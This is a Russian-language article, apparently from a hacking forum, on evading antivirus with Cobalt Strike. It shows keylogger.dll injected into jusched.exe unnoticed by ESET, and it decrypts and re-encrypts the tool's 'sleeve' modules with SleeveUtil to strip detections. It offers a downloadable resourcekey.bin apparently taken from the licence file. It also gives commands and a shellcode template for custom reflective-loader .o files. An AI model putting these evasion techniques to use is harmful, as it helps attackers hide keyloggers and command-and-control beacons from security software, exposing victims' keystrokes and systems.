Но на самом деле это всего лишь команда(actions), которая ставит задачу для нашего маяка(beacon) "подгрузить" keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) в указанный процесс (PID) в данном случае это будет процесс C:\Program Files\Common Files\Java\Java Update\jusched.exe
Да-да, здесь берется keylogger.dll и отсылается маяку(beacon) и там уже подгрызается в указанный процесс и далее эта keylogger.dll работает из-под того процесса как кейлоггер.
Если запустить блокнот и там что-нибудь написать, то в клиенте CobaltStrike во вкладке Keystrokes появится все то, что мы вводили в блокноте.
Ок. все работает и нас ESET Endpoint Antivirus v5 не замечает, но стоит только лишь просканировать память антивирусом и тут же получим детект:
Здесь именно в процессе jusched.exe был найден модуль keylogger.dll который и является опасным объектом для антивируса. Но наш маяк(beacon) продолжает работать, так как мы его ранее уже почистили.
Естественно, возникает вопрос, а возможно ли почистить данный модуль, - да это возможно, но требует больших знаний и здесь больше нужно будет совершить манипуляций, но эта тема уже отдельной статьи.
Я же хочу показать, как можно "подменять" уже почищенные модули в cobaltstrike.jar
keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) зашифрована, как и многие файлы, которые находятся в директории sleeve.
Для того, чтобы какие-то из этих файлов почистить от детектов антивирусов, нужно их вначале расшифровать, почистить, а потом обратно зашифровать.
Вот я и хочу здесь описать этот процесс и как это можно будет сделать, но еще также бонусным прицепом хочу пояснить для чего нужны файлы с расширением *.o
Файлы с расширением *.o - это обычные obj файлы, которые можно получить после компиляции *.c или *.cpp файлов.
Давайте для начала более детально углубимся и проясним зачем же все-таки нужны эти файлы с расширением *.o
Если посмотреть в справочнике CobaltStrike, то можно увидеть некоторые опции для профиля, ну например, allocator:
Нам предоставляют возможность сделать выбор. Но в реале, это указывает CobaltStrike взять файл *.o из ресурсов, а именно из директории sleeve файл BeaconLoader.HA.x86.o (если мы указали значение HeapAlloc для allocator в нашем профиле)Set how Beacon's Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc.
Расшифровать его, и достать hex-код из секции .text и вставить его в определенное место в payload
Что же такое представляет из себя этот самый код в файле BeaconLoader.HA.x86.o - тут все просто, а именно это разновидность функции загрузки модуля beacon.dll в память.
Это ничто иное как модифицированный код из ReflectiveLoader.c который можно найти на github.com
Зная это, мы можем создать свой код загрузчика, который после загрузки маяка в память, будет делать фикс в памяти тех мест, которые и вызывают детект у антивируса - вообще эта тема довольно обширна и требует написание отдельной статьи, особенно это когда касается облачных технологий.
Итак, для того чтобы сделать подмены нам нужно зашифровать наш новый *.o(obj) или даже *.dll, но тут нужно будет вначале расшифровать, почистить, а только потом зашифровать.
Так как код расшифровки достаточно большой, чтобы его тут постить, я этот код (как и другие файлы) добавил в архив, который можно скачать ниже.
Код расшифровки написан на JAVA, поэтому нужно будет из него собрать модуль jar, как это сделать в интернете полно статей, расписывающих этот процесс от и до даже для самых далеких от этой темы людей...
Стоит лишь указать команду как запускать данную утилиту, для расшифровки файлов *.o и *.dll из директории sleeve в cobaltstrike.jar
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./SleeveUtil.jar Decrypt C:\CS43\sleeve\keylogger.dll
pause
Как расшифровать мы уже знаем, но как же зашифровать обратно наши созданные, модифицированные или почищенные файлы?
Теперь мы подошли к утилитам, которые имеются на борту в cobaltstrike.jar
Наверное, многие уже знакомы с таким инструментом, как c2lint и который можно запустить из батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar c2profile.Lint "C:\c2.profile"
В CobaltStrike существует еще (из многочисленных) один инструмент SleeveUtil
Вот эта утилита и позволит нам зашифровать нужные файлы.
Но SleeveUtil имеет специфичный формат использования, который отличается от обычного привычного нам, ну например, того же c2profile.Lint
Дело в том, что для того чтобы зашифровать файлы *.o и *.dll нужен специальный ключ, он находится в зашифрованном файле cobaltstrike.auth - более подробно я о нем писал в предыдущих статьях.
Но это еще не все, этот ключ в определенном формате должен находится в специальном файле resourcekey.bin в одной директории с cobaltstrike.jar
resourcekey.bin с нужным ключом от версии Cobalt Strike v4.3 я добавил в архив, который можно будет скачать ниже.
После того как мы разместим этот файл в одной директории с cobaltstrike.jar можно будет приступить к шифрованию *.o и *.dll файлов.
Еще одним важным условием является то, что файлы *.o и *.dll должны находится в директории resources, которую нужно создать в директории, где находится cobaltstrike.jar и уже в resources разместить нужные файлы для шифрования.
Теперь после всех этих манипуляций можно запустить утилиту шифрования из батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar common.SleeveUtil
pause
Но это еще не все, для того чтобы CobaltStrike их начал использовать, их нужно разместить в директории sleeve, которая должна также находиться в одной директории с cobaltstrike.jar
Теперь мы умеем шифровать и расшифровывать файлы *.o и *.dll
Ну хорошо, если с *.dll файлами все понятно их надо расшифровать, почистить от детектов и обратно зашифровать и все, но вот с *.o файлами дела обстоят куда сложнее.
Я хочу более подробно описать некоторые нюансы касательно файлов *.o
Просто так взять написать код в cpp файле и скомпилировать не получится, скорее все на выходе получится "неправильный" *.o(obj) с точки зрения CobaltStrike'а
Для примера, после запуска CobaltStrike'а в консоли может появиться предупреждение типа такого: Assertion failed: 1024 <= 10 (value) <= 5120 does not hold
CobaltStrike сообщает, что секция кода меньше требуемой она равна 10 байтам, а требуется минимум 1024.
Все дело в том, что компилятор создает в obj файле несколько секций кода, а парсер CobaltStrike'а берет первую, а там может быть код какой-нибудь инлайн функции размером в 10 байт.
Далее ниже я покажу как правильно создавать нужный код, но, а сейчас давайте воспользуемся утилитой OBJExecutable из cobaltstrike.jar
С помощью этой утилиты можно посмотреть данные из файлов с расширением *.o или *.obj
Вообще это некий парсер obj файлов, но он также проверяет эти самые obj файлы на валидность
Запустив эту утилиту с помощью батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar pe.OBJExecutable C:\BeaconLoader.HA.x86.obj
pause
Для примера, давайте посмотрим на эти данные:
Код:
.text$mn$3.Characteristics [Code, Executable, Readable, 0x60501020]
.text$mn$3.NumberOfLinenumbers 0x0 0
.text$mn$3.NumberOfRelocations 0x0 0
.text$mn$3.PointerToLinenumbers 0x0 0
.text$mn$3.PointerToRawData 0x53e 1342
.text$mn$3.PointerToRelocations 0x0 0
.text$mn$3.SizeOfRawData 0xa 10
.text$mn$3.VirtualAddress 0x0 0
.text$mn$3.VirtualSize 0x0 0
.text$mn.Characteristics [Code, Executable, Readable, 0x60500020]
.text$mn.NumberOfLinenumbers 0x0 0
.text$mn.NumberOfRelocations 0x5 5
.text$mn.PointerToLinenumbers 0x0 0
.text$mn.PointerToRawData 0x1d3 467
.text$mn.PointerToRelocations 0x50c 1292
.text$mn.SizeOfRawData 0x339 825
.text$mn.VirtualAddress 0x0 0
.text$mn.VirtualSize 0x0 0
Нас интересует значения .text$mn$3.SizeOfRawData 0xa 10 - мы видим размер этой секции кода равен 10 байтам.
Если посмотреть ниже, то можно заметить другую секцию кода .text$mn.SizeOfRawData 0x339 825 - но уже с другим размером секции кода.
А нам требуется минимум секция кода 1024 байта.
Теперь давайте взглянем на правильный шаблон кода (в этом примере кода, убрано все лишнее для наглядности), и разберем некоторые важные моменты:
Код:
#pragma comment(linker, "/entry:EntryPoint")
int __cdecl EntryPoint();
void __cdecl start() {
EntryPoint();
}
#include "Header.hpp"
HMODULE GetDllBaseByHash(DWORD Hash);
LPVOID GetProcAddressByHash(HMODULE Module, DWORD Hash);
int __cdecl EntryPoint()
{
char szWinExec[] = {'W','i','n','E','x','e','c', 0};
char szSleep[] = {'S','l','e','e','p', 0};
char szNotepad[] = {'n','o','t','e','p','a','d','.','e','x','e', 0};
HMODULE hKernel32 = GetDllBaseByHash(HASH_KERNEL32);
pGetProcAddress GetProcAddress = (pGetProcAddress)GetProcAddressByHash(hKernel32, HASH_GETPROCADDRESS);
pWinExec WinExec = (pWinExec)GetProcAddress(hKernel32, szWinExec);
pSleep Sleep = (pSleep)GetProcAddress(hKernel32, szSleep);
WinExec(szNotepad, SW_NORMAL);
while(true) { Sleep(1000); }
int pump[] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 };
return pump[0];
}
HMODULE GetDllBaseByHash(DWORD Hash) { . . . }
LPVOID GetProcAddressByHash(HMODULE Module, DWORD Hash) { . . . }
Второе, ваш код (а точнее шелкод) должен быть независимым от чего-либо (вернее от всего), то есть, нужно "ручками" находить указатели на API функции и только после этого их использовать, а данные размещать непосредственно в секции кода...
Третье и самое важное стартовать ваш код должен с начала секции. Я специально показал как этого можно достичь при помощи функции void __cdecl start() {EntryPoint();} - эта функция должна быть обязательно первой даже выше всех заголовочных файлов.
А реализация всех остальных функций должна находиться ниже функции, которая определяется в директиве /entry:
После того как скомпилируется исходный код, obj можно будет найти в директории Release, если допустим компиляция осуществлялась в Visual Studio 20XX
Если все правильно сделали, то можно будет шифровать этот obj и использовать по прямому назначению.